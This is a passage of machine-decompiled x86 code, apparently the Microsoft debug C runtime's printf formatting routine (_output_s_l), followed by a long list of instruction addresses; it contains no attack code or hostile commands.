																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t701 - 0x314) = 0;
																					} else {
																						 *(_t701 - 0x314) = 1;
																					}
																					_t618 =  *(_t701 - 0x314);
																					 *(_t701 - 0x278) =  *(_t701 - 0x314);
																					if( *(_t701 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E220();
																						_t704 = _t704 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t701 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422D10(_t618))) = 0x16;
																						E00422AA0(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t701 - 0x2f0) = 0xffffffff;
																						E0041ACC0(_t701 - 0x40);
																						_t518 =  *(_t701 - 0x2f0);
																						L229:
																						return E0042BB60(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
																					}
																				}
																			}
																			L219:
																			if( *(_t701 - 0x25c) == 0 ||  *(_t701 - 0x25c) == 7) {
																				 *(_t701 - 0x334) = 1;
																			} else {
																				 *(_t701 - 0x334) = 0;
																			}
																			_t605 =  *(_t701 - 0x334);
																			 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
																			if( *(_t701 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E220();
																				_t704 = _t704 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t701 - 0x2e0) != 0) {
																				 *(_t701 - 0x300) =  *(_t701 - 0x24c);
																				E0041ACC0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422D10(_t605))) = 0x16;
																				E00422AA0(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t701 - 0x2fc) = 0xffffffff;
																				E0041ACC0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t701 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t701 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t701 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t701 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t701 - 0x14)) = 0x20;
																						 *(_t701 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t701 - 0x14)) = 0x2b;
																					 *(_t701 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t701 - 0x14)) = 0x2d;
																				 *(_t701 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *((intOrPtr*)(_t701 - 0x24)) -  *(_t701 - 0x1c);
																		if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
																			E004355C0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		E00435600( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																		_t704 = _t704 + 0x10;
																		if(( *(_t701 - 0x10) & 0x00000008) != 0 && ( *(_t701 - 0x10) & 0x00000004) == 0) {
																			E004355C0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		if( *(_t701 - 0xc) == 0 ||  *((intOrPtr*)(_t701 - 0x24)) <= 0) {
																			L212:
																			E00435600( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 0x24)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t701 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
																			 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t701 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
																				_t563 = E004340D0(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
																				_t704 = _t704 + 0x10;
																				 *(_t701 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
																				if( *(_t701 - 0x2dc) != 0 ||  *((intOrPtr*)(_t701 - 0x2d0)) == 0) {
																					L209:
																					 *(_t701 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E00435600( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *((intOrPtr*)(_t701 - 0x2d0)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																					_t704 = _t704 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t701 - 0x24c) >= 0 && ( *(_t701 - 0x10) & 0x00000004) != 0) {
																				E004355C0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																				_t704 = _t704 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t158 =  *(__ebp - 0x324) + 0x4354dc; // 0xcccccc0d
																	__ecx =  *_t158 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004354A0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428200(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B760(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041ACF0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0x4b3bc1ec
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x4b248c6c
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACF0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0x4b24956c
																							E00424560(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428200(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428240(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004340D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			goto L0;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428200(__ebp + 0x14);
																			if(E00433DB0() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E220();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
																				__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACC0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428200(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			L144:
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00434e29
0x00434e29
0x00434e29
0x00434e29
0x00434e29
0x00434e29
0x00434e29
0x00434e2f
0x00434e32
0x00000000
0x00434eaa
0x00000000
0x00434eaa
0x00000000
0x00434eaa
0x00434eaa
0x00434eb2
0x00434ed4
0x00434eda
0x00434eff
0x00434f46
0x00434f49
0x00434f6a
0x00434f6f
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4f
0x00434f54
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f07
0x00434f29
0x00434f2e
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f0d
0x00434f12
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434ee0
0x00434ee5
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb8
0x00434ebd
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f86
0x00434fc8
0x00434fce
0x00434fda
0x00000000
0x00434f88
0x00434f88
0x00434f88
0x00434f8f
0x00000000
0x00434f9c
0x00434f9c
0x00434faa
0x00434faf
0x00434fb5
0x00434fc3
0x00434fe0
0x00434fe8
0x0043500a
0x0043500a
0x00435014
0x00435025
0x0043502f
0x00435031
0x00435031
0x00435016
0x00435016
0x00435016
0x00435044
0x00435046
0x00435046
0x00435050
0x00435053
0x00435053
0x00435059
0x0043505c
0x00435061
0x00000000
0x00000000
0x00435071
0x00435074
0x0043507e
0x0043508d
0x00435096
0x004350ac
0x004350b2
0x004350bf
0x004350cd
0x004350cd
0x004350dc
0x004350e4
0x004350e4
0x004350ec
0x004350f2
0x004350fb
0x00435107
0x00435120
0x00435126
0x0043512f
0x0043512f
0x00000000
0x00435132
0x00000000
0x00435132
0x00000000
0x00435132
0x00000000
0x00435132
0x00000000
0x00435132
0x00000000
0x00435132
0x00000000
0x00435132
0x00435132
0x00435132
0x00435136
0x0043531d
0x00435321
0x00435329
0x0043532e
0x00435331
0x00435331
0x00435338
0x00435338
0x0043440f
0x00434415
0x00434422
0x00434427
0x00000000
0x0043443a
0x00434444
0x0043446b
0x00434452
0x00434463
0x00434463
0x00434444
0x00434475
0x0043447b
0x00434487
0x0043448a
0x00434498
0x0043449b
0x004344a8
0x0043454d
0x00434553
0x00434560
0x00000000
0x00000000
0x00434566
0x0043456c
0x00000000
0x00434573
0x00434573
0x0043458b
0x00434590
0x00434595
0x0043464f
0x00434662
0x00434667
0x00000000
0x0043459b
0x004345ae
0x004345b3
0x004345b9
0x004345bb
0x004345c4
0x004345c7
0x004345d3
0x004345d7
0x004345dd
0x004345df
0x004345e4
0x004345e6
0x004345eb
0x004345f0
0x004345f2
0x004345f7
0x004345fd
0x004345ff
0x004345ff
0x004345fd
0x00434600
0x00434607
0x00000000
0x00434609
0x0043460e
0x0043462a
0x00434632
0x0043463f
0x00434644
0x00000000
0x00434644
0x00434607
0x00000000
0x0043466f
0x0043466f
0x00434676
0x00434679
0x0043467c
0x0043467f
0x00434682
0x00434685
0x00434688
0x0043468f
0x00434696
0x00000000
0x00000000
0x004346a2
0x004346a2
0x004346a9
0x004346b5
0x004346b8
0x004346c5
0x00000000
0x00000000
0x004346c7
0x004346c7
0x004346cd
0x004346cd
0x004346d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434717
0x00434717
0x00434721
0x0043474b
0x0043474e
0x00434751
0x00434758
0x00434758
0x0043475c
0x00434723
0x00434723
0x0043472f
0x00434736
0x00434738
0x0043473b
0x0043473e
0x00434744
0x00434746
0x00434746
0x00434749
0x00000000
0x00000000
0x00434764
0x00434764
0x00000000
0x00000000
0x00434770
0x00434770
0x0043477a
0x0043479d
0x004347a7
0x004347a7
0x004347ab
0x0043477c
0x0043477c
0x00434788
0x0043478f
0x00434791
0x00434791
0x00434798
0x00000000
0x00000000
0x004347b3
0x004347b3
0x004347ba
0x004347c6
0x004347c9
0x004347d6
0x004348e9
0x00000000
0x004348e9
0x004347dc
0x004347dc
0x004347e2
0x004347e2
0x004347e9
0x00000000
0x0043481f
0x0043481f
0x00434822
0x00434828
0x00434850
0x00434850
0x00434853
0x00434859
0x0043487e
0x0043487e
0x00434881
0x00434887
0x004348c0
0x004348d1
0x00000000
0x004348d1
0x00434889
0x00434889
0x0043488c
0x00434892
0x00000000
0x00000000
0x00434894
0x00434894
0x00434897
0x0043489d
0x00000000
0x00000000
0x0043489f
0x0043489f
0x004348a2
0x004348a8
0x00000000
0x00000000
0x004348aa
0x004348aa
0x004348ad
0x004348b3
0x00000000
0x00000000
0x004348b5
0x004348b5
0x004348b8
0x004348be
0x004348c2
0x004348c2
0x00000000
0x004348c2
0x00000000
0x004348be
0x0043485b
0x0043485b
0x0043485e
0x00434865
0x00000000
0x00000000
0x00434867
0x0043486a
0x0043486d
0x00434870
0x00434873
0x00434879
0x00000000
0x00434879
0x0043482a
0x0043482a
0x0043482d
0x00434834
0x00000000
0x00000000
0x00434836
0x00434839
0x0043483c
0x0043483f
0x00434842
0x00434848
0x00000000
0x00000000
0x004348d3
0x004348d6
0x004348d9
0x00000000
0x00000000
0x004347f0
0x004347f0
0x004347f3
0x004347f9
0x00434811
0x00434814
0x00434817
0x004347fb
0x004347fe
0x00434801
0x00434807
0x0043480c
0x0043480c
0x00000000
0x00000000
0x004348de
0x004348e1
0x004348e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004346f1
0x004346f4
0x004346f7
0x00000000
0x00000000
0x004346fc
0x004346ff
0x00434704
0x00000000
0x00000000
0x004346e6
0x004346e6
0x004346e9
0x004346ec
0x00000000
0x00000000
0x004346db
0x004346de
0x004346e1
0x00000000
0x00000000
0x00434709
0x00434709
0x0043470c
0x0043470f
0x00000000
0x00000000
0x00434712
0x00000000
0x00000000
0x004344ae
0x004344b0
0x004344be
0x004344b2
0x004344b2
0x004344b2
0x004344c8
0x004344ce
0x004344db
0x004344dd
0x004344e2
0x004344e4
0x004344e9
